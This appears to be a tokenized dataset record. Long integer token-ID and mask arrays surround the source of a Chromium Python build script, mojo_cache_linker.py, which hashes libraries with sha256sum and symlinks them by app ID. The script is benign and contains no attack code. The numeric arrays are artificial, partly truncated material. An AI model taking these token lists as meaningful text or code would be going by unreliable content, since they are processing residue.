12,
9522,
4388,
199,
40,
22436,
275,
3523,
497,
6862,
1793,
14,
40,
22436,
421,
199,
15476,
29,
23,
199,
17090,
29,
1167,
199,
11992,
17877,
29,
1401,
199,
44,
1573,
29,
2260,
199,
30294,
9909,
57,
29,
24,
199,
47,
1028,
748,
63,
654,
35,
29,
2466,
199,
11783,
29,
1465,
199,
2339,
63,
7363,
29,
1355,
199,
4609,
29,
1082,
199,
3649,
29,
708,
199,
13178,
4022,
17,
199,
44,
22169,
29,
821,
199,
5172,
29,
1046,
199,
13533,
29,
1194,
199,
50,
22169,
29,
1479,
199,
2339,
29,
1398,
199,
654,
35,
63,
28674,
29,
1703,
199,
13990,
29,
20,
199,
36,
6995,
29,
1276,
199,
17420,
29,
1789,
199,
13203,
29,
1344,
199,
6388,
29,
1081,
199,
4962,
29,
1165,
199,
52,
363,
2417,
29,
2417,
199,
52,
363,
2006,
29,
2006,
199,
52,
363,
1887,
29,
1887,
199,
1864,
42,
1734,
5430,
29,
21,
199,
12819,
63,
654,
35,
29,
2322,
199,
2339,
63,
45,
998,
29,
2167,
199,
9190,
29,
713,
199,
21377,
63,
36,
6995,
29,
1602,
199,
6131,
3960,
24428,
29,
2824,
199,
21692,
29,
25,
199,
2919,
29,
1651,
199,
7041,
29,
975,
199,
3876,
29,
2192,
199,
9791,
2847,
899,
29,
1216,
199,
15740,
50,
6196,
1075,
29,
969,
199,
6178,
42,
1734,
5430,
29,
22,
199,
5035,
29,
1196,
199,
31254,
2594,
29,
709,
199,
726,
29,
1153,
199,
31254,
29,
2953,
199,
8391,
29,
2025,
199,
13808,
29,
845,
199,
906,
29,
1085,
199,
5353,
29,
1079,
421,
199,
533,
8133,
5838,
8,
5838,
304,
339,
12528,
7733,
275,
3087,
272,
27384,
7493,
63,
1023,
275,
1015,
63,
495,
63,
475,
63,
2960,
480,
19,
14,
17,
14,
17,
531,
272,
27384,
7493,
63,
1023,
63,
495,
275,
298,
19,
14,
17,
14,
17,
2,
339,
347,
636,
826,
721,
277,
12,
1324,
29,
403,
12,
1174,
29,
403,
304,
267,
340,
1174,
365,
488,
26,
288,
1174,
275,
799,
6862,
1793,
12197,
2223,
342,
267,
21125,
855,
826,
721,
277,
12,
1324,
12,
1174,
9,
398,
291,
14,
26520,
713,
275,
291,
14,
36,
2078,
713,
8,
288,
291,
12,
3144,
12,
288,
325,
357,
275,
291,
14,
36,
2078,
713,
63,
69,
357,
12,
288,
29403,
275,
291,
14,
36,
2078,
713,
63,
11670,
12,
288,
1748,
275,
291,
14,
36,
2078,
713,
63,
827,
12,
288,
1390,
275,
291,
14,
36,
2078,
713,
63,
988,
12,
288,
4729,
275,
291,
14,
36,
2078,
713,
63,
5694,
12,
288,
4539,
275,
291,
14,
36,
2078,
713,
63,
6664,
12,
288,
14116,
275,
291,
14,
36,
2078,
713,
63,
14143,
288,
776,
398,
291,
14,
26520,
1165,
275,
291,
14,
36,
2078,
1165,
8,
288,
291,
12,
3388,
12,
288,
325,
357,
275,
291,
14,
36,
2078,
1165,
63,
69,
357,
12,
288,
29403,
275,
291,
14,
36,
2078,
1165,
63,
11670,
12,
288,
1748,
275,
291,
14,
36,
2078,
1165,
63,
827,
12,
288,
1390,
275,
291,
14,
36,
2078,
1165,
63,
988,
12,
288,
4729,
275,
291,
14,
36,
2078,
1165,
63,
5694,
12,
288,
4539,
275,
291,
14,
36,
2078,
1165,
63,
6664,
12,
288,
14116,
275,
291,
14,
36,
2078,
1165,
63,
14143,
288,
776,
6905,
16478,
347,
333,
52,
363,
2417,
8,
277,
12,
3461,
398,
862,
26,
288,
485,
466,
275,
377,
363,
2417,
288,
485,
2775,
275,
6186,
63,
14833,
421,
953,
986,
288,
291,
14,
1431,
8,
2824,
9,
421,
953,
291,
423,
929,
14,
466,
275,
485,
466,
288,
291,
423,
929,
14,
2775,
275,
485,
2775,
398,
3753,
26,
953,
986,
6905,
2378,
347,
333,
52,
363,
2006,
8,
277,
12,
3461,
398,
862,
26,
288,
485,
466,
275,
377,
363,
2006,
288,
485,
2775,
275,
6186,
63,
14833,
421,
953,
986,
288,
291,
14,
1431,
8,
7957,
9,
421,
953,
291,
423,
929,
14,
466,
275,
485,
466,
288,
291,
423,
929,
14,
2775,
275,
485,
2775,
398,
3753,
26,
953,
986,
6905,
2378,
347,
333,
52,
363,
1887,
8,
277,
12,
3461,
398,
862,
26,
288,
485,
466,
275,
377,
363,
1887,
288,
485,
2775,
275,
6186,
63,
14833,
421,
953,
986,
288,
291,
14,
1431,
8,
1602,
9,
421,
953,
291,
423,
929,
14,
466,
275,
485,
466,
288,
291,
423,
929,
14,
2775,
275,
485,
2775,
398,
3753,
26,
953,
986,
6905,
2378,
347,
333,
13533,
8,
277,
12,
3461,
398,
862,
26,
288,
485,
466,
275,
7509,
288,
485,
2775,
275,
6186,
63,
14833,
421,
953,
986,
288,
291,
14,
1431,
8,
2010,
9,
421,
953,
291,
423,
929,
14,
466,
275,
485,
466,
288,
291,
423,
929,
14,
2775,
275,
485,
2775,
398,
3753,
26,
953,
986,
6905,
2378,
347,
333,
726,
8,
277,
12,
3461,
398,
862,
26,
288,
485,
466,
275,
1549,
288,
485,
2775,
275,
6186,
63,
14833,
421,
953,
986,
288,
291,
14,
1431,
480,
726,
531,
421,
953,
291,
423,
929,
14,
466,
275,
485,
466,
288,
291,
423,
929,
14,
2775,
275,
485,
2775,
398,
3753,
26,
953,
986,
6905,
2378,
347,
333,
3649,
8,
277,
12,
3461
] |
[
2647,
15,
1393,
15,
1813,
2366,
199,
3,
199,
3,
1898,
10219,
4475,
3277,
14,
199,
3,
199,
3,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
199,
3,
1265,
1443,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
199,
3,
2047,
1443,
3332,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
258,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
199,
3,
2428,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
199,
3,
1666,
314,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
199,
3,
4204,
1334,
314,
844,
14,
199,
3,
421,
199,
646,
984,
199,
504,
6233,
14,
15358,
423,
4672,
14,
867,
7493,
19,
492,
627,
199,
504,
6233,
14,
15358,
423,
4672,
14,
867,
7493,
19,
14,
5819,
492,
663,
12,
9522,
4388,
199,
40,
22436,
275,
3523,
497,
6862,
1793,
14,
40,
22436,
421,
199,
15476,
29,
23,
199,
17090,
29,
1167,
199,
11992,
17877,
29,
1401,
199,
44,
1573,
29,
2260,
199,
30294,
9909,
57,
29,
24,
199,
47,
1028,
748,
63,
654,
35,
29,
2466,
199,
11783,
29,
1465,
199,
2339,
63,
7363,
29,
1355,
199,
4609,
29,
1082,
199,
3649,
29,
708,
199,
13178,
4022,
17,
199,
44,
22169,
29,
821,
199,
5172,
29,
1046,
199,
13533,
29,
1194,
199,
50,
22169,
29,
1479,
199,
2339,
29,
1398,
199,
654,
35,
63,
28674,
29,
1703,
199,
13990,
29,
20,
199,
36,
6995,
29,
1276,
199,
17420,
29,
1789,
199,
13203,
29,
1344,
199,
6388,
29,
1081,
199,
4962,
29,
1165,
199,
52,
363,
2417,
29,
2417,
199,
52,
363,
2006,
29,
2006,
199,
52,
363,
1887,
29,
1887,
199,
1864,
42,
1734,
5430,
29,
21,
199,
12819,
63,
654,
35,
29,
2322,
199,
2339,
63,
45,
998,
29,
2167,
199,
9190,
29,
713,
199,
21377,
63,
36,
6995,
29,
1602,
199,
6131,
3960,
24428,
29,
2824,
199,
21692,
29,
25,
199,
2919,
29,
1651,
199,
7041,
29,
975,
199,
3876,
29,
2192,
199,
9791,
2847,
899,
29,
1216,
199,
15740,
50,
6196,
1075,
29,
969,
199,
6178,
42,
1734,
5430,
29,
22,
199,
5035,
29,
1196,
199,
31254,
2594,
29,
709,
199,
726,
29,
1153,
199,
31254,
29,
2953,
199,
8391,
29,
2025,
199,
13808,
29,
845,
199,
906,
29,
1085,
199,
5353,
29,
1079,
421,
199,
533,
8133,
5838,
8,
5838,
304,
339,
12528,
7733,
275,
3087,
272,
27384,
7493,
63,
1023,
275,
1015,
63,
495,
63,
475,
63,
2960,
480,
19,
14,
17,
14,
17,
531,
272,
27384,
7493,
63,
1023,
63,
495,
275,
298,
19,
14,
17,
14,
17,
2,
339,
347,
636,
826,
721,
277,
12,
1324,
29,
403,
12,
1174,
29,
403,
304,
267,
340,
1174,
365,
488,
26,
288,
1174,
275,
799,
6862,
1793,
12197,
2223,
342,
267,
21125,
855,
826,
721,
277,
12,
1324,
12,
1174,
9,
398,
291,
14,
26520,
713,
275,
291,
14,
36,
2078,
713,
8,
288,
291,
12,
3144,
12,
288,
325,
357,
275,
291,
14,
36,
2078,
713,
63,
69,
357,
12,
288,
29403,
275,
291,
14,
36,
2078,
713,
63,
11670,
12,
288,
1748,
275,
291,
14,
36,
2078,
713,
63,
827,
12,
288,
1390,
275,
291,
14,
36,
2078,
713,
63,
988,
12,
288,
4729,
275,
291,
14,
36,
2078,
713,
63,
5694,
12,
288,
4539,
275,
291,
14,
36,
2078,
713,
63,
6664,
12,
288,
14116,
275,
291,
14,
36,
2078,
713,
63,
14143,
288,
776,
398,
291,
14,
26520,
1165,
275,
291,
14,
36,
2078,
1165,
8,
288,
291,
12,
3388,
12,
288,
325,
357,
275,
291,
14,
36,
2078,
1165,
63,
69,
357,
12,
288,
29403,
275,
291,
14,
36,
2078,
1165,
63,
11670,
12,
288,
1748,
275,
291,
14,
36,
2078,
1165,
63,
827,
12,
288,
1390,
275,
291,
14,
36,
2078,
1165,
63,
988,
12,
288,
4729,
275,
291,
14,
36,
2078,
1165,
63,
5694,
12,
288,
4539,
275,
291,
14,
36,
2078,
1165,
63,
6664,
12,
288,
14116,
275,
291,
14,
36,
2078,
1165,
63,
14143,
288,
776,
6905,
16478,
347,
333,
52,
363,
2417,
8,
277,
12,
3461,
398,
862,
26,
288,
485,
466,
275,
377,
363,
2417,
288,
485,
2775,
275,
6186,
63,
14833,
421,
953,
986,
288,
291,
14,
1431,
8,
2824,
9,
421,
953,
291,
423,
929,
14,
466,
275,
485,
466,
288,
291,
423,
929,
14,
2775,
275,
485,
2775,
398,
3753,
26,
953,
986,
6905,
2378,
347,
333,
52,
363,
2006,
8,
277,
12,
3461,
398,
862,
26,
288,
485,
466,
275,
377,
363,
2006,
288,
485,
2775,
275,
6186,
63,
14833,
421,
953,
986,
288,
291,
14,
1431,
8,
7957,
9,
421,
953,
291,
423,
929,
14,
466,
275,
485,
466,
288,
291,
423,
929,
14,
2775,
275,
485,
2775,
398,
3753,
26,
953,
986,
6905,
2378,
347,
333,
52,
363,
1887,
8,
277,
12,
3461,
398,
862,
26,
288,
485,
466,
275,
377,
363,
1887,
288,
485,
2775,
275,
6186,
63,
14833,
421,
953,
986,
288,
291,
14,
1431,
8,
1602,
9,
421,
953,
291,
423,
929,
14,
466,
275,
485,
466,
288,
291,
423,
929,
14,
2775,
275,
485,
2775,
398,
3753,
26,
953,
986,
6905,
2378,
347,
333,
13533,
8,
277,
12,
3461,
398,
862,
26,
288,
485,
466,
275,
7509,
288,
485,
2775,
275,
6186,
63,
14833,
421,
953,
986,
288,
291,
14,
1431,
8,
2010,
9,
421,
953,
291,
423,
929,
14,
466,
275,
485,
466,
288,
291,
423,
929,
14,
2775,
275,
485,
2775,
398,
3753,
26,
953,
986,
6905,
2378,
347,
333,
726,
8,
277,
12,
3461,
398,
862,
26,
288,
485,
466,
275,
1549,
288,
485,
2775,
275,
6186,
63,
14833,
421,
953,
986,
288,
291,
14,
1431,
480,
726,
531,
421,
953,
291,
423,
929,
14,
466,
275,
485,
466,
288,
291,
423,
929,
14,
2775,
275,
485,
2775,
398,
3753,
26,
953,
986,
6905,
2378,
347,
333,
3649,
8,
277,
12,
3461,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
qiankunshe/sky_engine
|
sky/tools/mojo_cache_linker.py
|
13
|
4321
|
#!/usr/bin/env python
# Copyright 2015 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import argparse
import logging
import os
import sys
import subprocess
import json
import platform
def library_paths(build_dir):
for name in os.listdir(build_dir):
path = os.path.realpath(os.path.join(build_dir, name))
if not os.path.isfile(path):
continue
# Only include suffixes we care about:
basename, ext = os.path.splitext(name)
if ext not in ('', '.mojo', '.so'):
continue
# Ignore ninja's dot-files.
if basename.startswith('.'):
continue
yield path
def get_cached_app_id(path, cache, cache_mtime):
if not cache_mtime:
return None
try:
if os.path.getmtime(path) > cache_mtime:
return None
except:
return None
return cache.get(path)
def compute_path_to_app_id_map(paths, cache, cache_mtime):
path_to_app_id_map = {}
for path in paths:
app_id = get_cached_app_id(path, cache, cache_mtime)
if not app_id:
if platform.system() == 'Darwin':
logging.info('shasum -a 256 %s' % path)
output = subprocess.check_output(['shasum', '-a', '256', path])
else:
logging.info('sha256sum %s' % path)
output = subprocess.check_output(['sha256sum', path])
# Example output:
# f82a3551478a9a0e010adccd675053b9 png_viewer.mojo
app_id = output.strip().split()[0]
path_to_app_id_map[path] = app_id
return path_to_app_id_map
def read_app_id_cache(cache_path):
try:
with open(cache_path, 'r') as cache_file:
return json.load(cache_file), os.path.getmtime(cache_path)
except:
logging.warn('Failed to read file: %s' % cache_path)
return {}, None
def write_app_id_cache(cache_path, cache):
try:
with open(cache_path, 'w') as cache_file:
json.dump(cache, cache_file, indent=2, sort_keys=True)
except:
logging.warn('Failed to write file: %s' % cache_path)
# TODO(eseidel): Share logic with tools/android_stack_parser/stack
def main():
logging.basicConfig(level=logging.WARN)
parser = argparse.ArgumentParser(
description='Builds a directory of app_id symlinks to symbols'
' to match expected dlopen names from mojo_shell\'s NetworkLoader.')
parser.add_argument('links_dir', type=str)
parser.add_argument('build_dir', type=str)
parser.add_argument('-f', '--force', action='store_true')
parser.add_argument('-v', '--verbose', action='store_true')
args = parser.parse_args()
if args.verbose:
logging.getLogger().setLevel(logging.INFO)
if not os.path.isdir(args.links_dir):
logging.fatal('links_dir: %s is not a directory' % args.links_dir)
sys.exit(1)
# Some of the .so files are 100s of megabytes. Cache the md5s to save time.
cache_path = os.path.join(args.build_dir, '.app_id_cache')
cache, cache_mtime = read_app_id_cache(cache_path)
if args.force:
cache_mtime = None
paths = library_paths(args.build_dir)
path_to_app_id_map = compute_path_to_app_id_map(list(paths),
cache, cache_mtime)
# The cache contains unmodified app-ids.
write_app_id_cache(cache_path, path_to_app_id_map)
for path, app_id in path_to_app_id_map.items():
basename = os.path.basename(path)
root_name, ext = os.path.splitext(basename)
# On android foo.mojo is stripped, but libfoo_library.so is not.
if ext == '.mojo':
symboled_name = 'lib%s_library.so' % root_name
symboled_path = os.path.realpath(
os.path.join(args.build_dir, symboled_name))
if os.path.exists(symboled_path):
path = symboled_path
link_path = os.path.join(args.links_dir, '%s.mojo' % app_id)
logging.info("%s -> %s" % (link_path, path))
if os.path.lexists(link_path):
logging.debug('link already exists %s, replacing' % path)
os.unlink(link_path)
os.symlink(path, link_path)
if __name__ == '__main__':
main()
|
bsd-3-clause
|
[
3381,
2647,
15,
1393,
15,
1813,
2366,
199,
3,
1898,
6900,
710,
12051,
6642,
14,
2900,
4481,
4644,
14,
199,
3,
3645,
402,
642,
1350,
1233,
365,
10413,
701,
282,
6289,
13,
2487,
4190,
626,
883,
506,
199,
3,
1911,
315,
314,
5113,
570,
14,
199,
199,
646,
7534,
199,
646,
2050,
199,
646,
747,
199,
646,
984,
199,
646,
3873,
199,
646,
2022,
199,
646,
4298,
421,
199,
318,
3555,
63,
3771,
8,
1506,
63,
694,
304,
272,
367,
536,
315,
747,
14,
7374,
8,
1506,
63,
694,
304,
267,
931,
275,
747,
14,
515,
14,
11091,
8,
736,
14,
515,
14,
904,
8,
1506,
63,
694,
12,
536,
430,
267,
340,
440,
747,
14,
515,
14,
6292,
8,
515,
304,
288,
1980,
398,
327,
5972,
2387,
19475,
781,
10296,
3595,
26,
267,
9593,
12,
1599,
275,
747,
14,
515,
14,
7973,
8,
354,
9,
267,
340,
1599,
440,
315,
13134,
1987,
573,
743,
297,
1987,
1152,
735,
288,
1980,
398,
327,
14092,
14822,
1159,
6308,
13,
1725,
14,
267,
340,
9593,
14,
2460,
26461,
288,
1980,
267,
1995,
931,
421,
199,
318,
664,
63,
5245,
63,
571,
63,
344,
8,
515,
12,
2581,
12,
2581,
63,
8180,
304,
272,
340,
440,
2581,
63,
8180,
26,
267,
372,
488,
272,
862,
26,
267,
340,
747,
14,
515,
14,
26628,
8,
515,
9,
690,
2581,
63,
8180,
26,
288,
372,
488,
272,
871,
26,
267,
372,
488,
272,
372,
2581,
14,
362,
8,
515,
9,
421,
199,
318,
4526,
63,
515,
63,
475,
63,
571,
63,
344,
63,
1130,
8,
3771,
12,
2581,
12,
2581,
63,
8180,
304,
272,
931,
63,
475,
63,
571,
63,
344,
63,
1130,
275,
1052,
272,
367,
931,
315,
3792,
26,
267,
1145,
63,
344,
275,
664,
63,
5245,
63,
571,
63,
344,
8,
515,
12,
2581,
12,
2581,
63,
8180,
9,
267,
340,
440,
1145,
63,
344,
26,
288,
340,
4298,
14,
2253,
342,
508,
283,
31065,
356,
355,
2050,
14,
815,
360,
609,
305,
453,
446,
65,
7633,
450,
83,
7,
450,
931,
9,
355,
1072,
275,
3873,
14,
1074,
63,
1199,
2941,
609,
305,
453,
297,
2475,
65,
297,
283,
3912,
297,
931,
566,
288,
587,
26,
355,
2050,
14,
815,
360,
4835,
3912,
1838,
450,
83,
7,
450,
931,
9,
355,
1072,
275,
3873,
14,
1074,
63,
1199,
2941,
4835,
3912,
1838,
297,
931,
566,
288,
327,
5679,
1072,
26,
288,
327,
289,
2564,
65,
10156,
1079,
2277,
65,
25,
65,
16,
69,
9523,
350,
30013,
1822,
1400,
2481,
66,
25,
25296,
63,
16645,
14,
573,
743,
288,
1145,
63,
344,
275,
1072,
14,
1913,
1252,
1294,
3430,
16,
61,
267,
931,
63,
475,
63,
571,
63,
344,
63,
1130,
59,
515,
61,
275,
1145,
63,
344,
272,
372,
931,
63,
475,
63,
571,
63,
344,
63,
1130,
421,
199,
318,
1586,
63,
571,
63,
344,
63,
1637,
8,
1637,
63,
515,
304,
272,
862,
26,
267,
543,
1551,
8,
1637,
63,
515,
12,
283,
82,
358,
465,
2581,
63,
493,
26,
288,
372,
2022,
14,
912,
8,
1637,
63,
493,
395,
747,
14,
515,
14,
26628,
8,
1637,
63,
515,
9,
272,
871,
26,
267,
2050,
14,
4050,
360,
4276,
370,
1586,
570,
26,
450,
83,
7,
450,
2581,
63,
515,
9,
267,
372,
5479,
488,
421,
199,
318,
2218,
63,
571,
63,
344,
63,
1637,
8,
1637,
63,
515,
12,
2581,
304,
272,
862,
26,
267,
543,
1551,
8,
1637,
63,
515,
12,
283,
87,
358,
465,
2581,
63,
493,
26,
288,
2022,
14,
2724,
8,
1637,
12,
2581,
63,
493,
12,
4363,
29,
18,
12,
4069,
63,
1612,
29,
549,
9,
272,
871,
26,
267,
2050,
14,
4050,
360,
4276,
370,
2218,
570,
26,
450,
83,
7,
450,
2581,
63,
515,
9,
421,
199,
3,
3254,
8,
31209,
73,
2264,
304,
5244,
1530,
9661,
543,
7249,
15,
6238,
63,
2340,
63,
2087,
15,
2340,
199,
318,
2446,
837,
272,
2050,
14,
19602,
8,
1896,
29,
4806,
14,
17449,
9,
272,
1798,
275,
7534,
14,
10730,
8,
267,
1369,
534,
27856,
282,
2082,
402,
1145,
63,
344,
19891,
370,
6698,
7,
267,
283,
370,
1336,
1420,
366,
8329,
1561,
687,
1303,
743,
63,
5641,
3985,
83,
7220,
5455,
2659,
272,
1798,
14,
525,
63,
2094,
360,
4614,
63,
694,
297,
730,
29,
495,
9,
272,
1798,
14,
525,
63,
2094,
360,
1506,
63,
694,
297,
730,
29,
495,
9,
272,
1798,
14,
525,
63,
2094,
3654,
70,
297,
2850,
3990,
297,
1595,
534,
1617,
63,
2052,
358,
272,
1798,
14,
525,
63,
2094,
3654,
86,
297,
2850,
3832,
297,
1595,
534,
1617,
63,
2052,
358,
272,
1249,
275,
1798,
14,
1122,
63,
589,
342,
339,
340,
1249,
14,
3832,
26,
267,
2050,
14,
5572,
1252,
13548,
8,
4806,
14,
4531,
9,
339,
340,
440,
747,
14,
515,
14,
6027,
8,
589,
14,
4614,
63,
694,
304,
267,
2050,
14,
16208,
360,
4614,
63,
694,
26,
450,
83,
365,
440,
282,
2082,
7,
450,
1249,
14,
4614,
63,
694,
9,
267,
984,
14,
2224,
8,
17,
9,
339,
327,
6601,
402,
314,
1275,
1152,
1584,
787,
2948,
83,
402,
562,
71,
27601,
14,
221,
11977,
314,
6128,
21,
83,
370,
3354,
900,
14,
272,
2581,
63,
515,
275,
747,
14,
515,
14,
904,
8,
589,
14,
1506,
63,
694,
12,
1987,
571,
63,
344,
63,
1637,
358,
272,
2581,
12,
2581,
63,
8180,
275,
1586,
63,
571,
63,
344,
63,
1637,
8,
1637,
63,
515,
9,
272,
340,
1249,
14,
3990,
26,
267,
2581,
63,
8180,
275,
488,
339,
3792,
275,
3555,
63,
3771,
8,
589,
14,
1506,
63,
694,
9,
272,
931,
63,
475,
63,
571,
63,
344,
63,
1130,
275,
4526,
63,
515,
63,
475,
63,
571,
63,
344,
63,
1130,
8,
513,
8,
3771,
395,
267,
2581,
12,
2581,
63,
8180,
9,
339,
327,
710,
2581,
3509,
24214,
1145,
13,
1580,
14,
272,
2218,
63,
571,
63,
344,
63,
1637,
8,
1637,
63,
515,
12,
931,
63,
475,
63,
571,
63,
344,
63,
1130,
9,
339,
367,
931,
12,
1145,
63,
344,
315,
931,
63,
475,
63,
571,
63,
344,
63,
1130,
14,
1744,
837,
267,
9593,
275,
747,
14,
515
] |
[
2647,
15,
1393,
15,
1813,
2366,
199,
3,
1898,
6900,
710,
12051,
6642,
14,
2900,
4481,
4644,
14,
199,
3,
3645,
402,
642,
1350,
1233,
365,
10413,
701,
282,
6289,
13,
2487,
4190,
626,
883,
506,
199,
3,
1911,
315,
314,
5113,
570,
14,
199,
199,
646,
7534,
199,
646,
2050,
199,
646,
747,
199,
646,
984,
199,
646,
3873,
199,
646,
2022,
199,
646,
4298,
421,
199,
318,
3555,
63,
3771,
8,
1506,
63,
694,
304,
272,
367,
536,
315,
747,
14,
7374,
8,
1506,
63,
694,
304,
267,
931,
275,
747,
14,
515,
14,
11091,
8,
736,
14,
515,
14,
904,
8,
1506,
63,
694,
12,
536,
430,
267,
340,
440,
747,
14,
515,
14,
6292,
8,
515,
304,
288,
1980,
398,
327,
5972,
2387,
19475,
781,
10296,
3595,
26,
267,
9593,
12,
1599,
275,
747,
14,
515,
14,
7973,
8,
354,
9,
267,
340,
1599,
440,
315,
13134,
1987,
573,
743,
297,
1987,
1152,
735,
288,
1980,
398,
327,
14092,
14822,
1159,
6308,
13,
1725,
14,
267,
340,
9593,
14,
2460,
26461,
288,
1980,
267,
1995,
931,
421,
199,
318,
664,
63,
5245,
63,
571,
63,
344,
8,
515,
12,
2581,
12,
2581,
63,
8180,
304,
272,
340,
440,
2581,
63,
8180,
26,
267,
372,
488,
272,
862,
26,
267,
340,
747,
14,
515,
14,
26628,
8,
515,
9,
690,
2581,
63,
8180,
26,
288,
372,
488,
272,
871,
26,
267,
372,
488,
272,
372,
2581,
14,
362,
8,
515,
9,
421,
199,
318,
4526,
63,
515,
63,
475,
63,
571,
63,
344,
63,
1130,
8,
3771,
12,
2581,
12,
2581,
63,
8180,
304,
272,
931,
63,
475,
63,
571,
63,
344,
63,
1130,
275,
1052,
272,
367,
931,
315,
3792,
26,
267,
1145,
63,
344,
275,
664,
63,
5245,
63,
571,
63,
344,
8,
515,
12,
2581,
12,
2581,
63,
8180,
9,
267,
340,
440,
1145,
63,
344,
26,
288,
340,
4298,
14,
2253,
342,
508,
283,
31065,
356,
355,
2050,
14,
815,
360,
609,
305,
453,
446,
65,
7633,
450,
83,
7,
450,
931,
9,
355,
1072,
275,
3873,
14,
1074,
63,
1199,
2941,
609,
305,
453,
297,
2475,
65,
297,
283,
3912,
297,
931,
566,
288,
587,
26,
355,
2050,
14,
815,
360,
4835,
3912,
1838,
450,
83,
7,
450,
931,
9,
355,
1072,
275,
3873,
14,
1074,
63,
1199,
2941,
4835,
3912,
1838,
297,
931,
566,
288,
327,
5679,
1072,
26,
288,
327,
289,
2564,
65,
10156,
1079,
2277,
65,
25,
65,
16,
69,
9523,
350,
30013,
1822,
1400,
2481,
66,
25,
25296,
63,
16645,
14,
573,
743,
288,
1145,
63,
344,
275,
1072,
14,
1913,
1252,
1294,
3430,
16,
61,
267,
931,
63,
475,
63,
571,
63,
344,
63,
1130,
59,
515,
61,
275,
1145,
63,
344,
272,
372,
931,
63,
475,
63,
571,
63,
344,
63,
1130,
421,
199,
318,
1586,
63,
571,
63,
344,
63,
1637,
8,
1637,
63,
515,
304,
272,
862,
26,
267,
543,
1551,
8,
1637,
63,
515,
12,
283,
82,
358,
465,
2581,
63,
493,
26,
288,
372,
2022,
14,
912,
8,
1637,
63,
493,
395,
747,
14,
515,
14,
26628,
8,
1637,
63,
515,
9,
272,
871,
26,
267,
2050,
14,
4050,
360,
4276,
370,
1586,
570,
26,
450,
83,
7,
450,
2581,
63,
515,
9,
267,
372,
5479,
488,
421,
199,
318,
2218,
63,
571,
63,
344,
63,
1637,
8,
1637,
63,
515,
12,
2581,
304,
272,
862,
26,
267,
543,
1551,
8,
1637,
63,
515,
12,
283,
87,
358,
465,
2581,
63,
493,
26,
288,
2022,
14,
2724,
8,
1637,
12,
2581,
63,
493,
12,
4363,
29,
18,
12,
4069,
63,
1612,
29,
549,
9,
272,
871,
26,
267,
2050,
14,
4050,
360,
4276,
370,
2218,
570,
26,
450,
83,
7,
450,
2581,
63,
515,
9,
421,
199,
3,
3254,
8,
31209,
73,
2264,
304,
5244,
1530,
9661,
543,
7249,
15,
6238,
63,
2340,
63,
2087,
15,
2340,
199,
318,
2446,
837,
272,
2050,
14,
19602,
8,
1896,
29,
4806,
14,
17449,
9,
272,
1798,
275,
7534,
14,
10730,
8,
267,
1369,
534,
27856,
282,
2082,
402,
1145,
63,
344,
19891,
370,
6698,
7,
267,
283,
370,
1336,
1420,
366,
8329,
1561,
687,
1303,
743,
63,
5641,
3985,
83,
7220,
5455,
2659,
272,
1798,
14,
525,
63,
2094,
360,
4614,
63,
694,
297,
730,
29,
495,
9,
272,
1798,
14,
525,
63,
2094,
360,
1506,
63,
694,
297,
730,
29,
495,
9,
272,
1798,
14,
525,
63,
2094,
3654,
70,
297,
2850,
3990,
297,
1595,
534,
1617,
63,
2052,
358,
272,
1798,
14,
525,
63,
2094,
3654,
86,
297,
2850,
3832,
297,
1595,
534,
1617,
63,
2052,
358,
272,
1249,
275,
1798,
14,
1122,
63,
589,
342,
339,
340,
1249,
14,
3832,
26,
267,
2050,
14,
5572,
1252,
13548,
8,
4806,
14,
4531,
9,
339,
340,
440,
747,
14,
515,
14,
6027,
8,
589,
14,
4614,
63,
694,
304,
267,
2050,
14,
16208,
360,
4614,
63,
694,
26,
450,
83,
365,
440,
282,
2082,
7,
450,
1249,
14,
4614,
63,
694,
9,
267,
984,
14,
2224,
8,
17,
9,
339,
327,
6601,
402,
314,
1275,
1152,
1584,
787,
2948,
83,
402,
562,
71,
27601,
14,
221,
11977,
314,
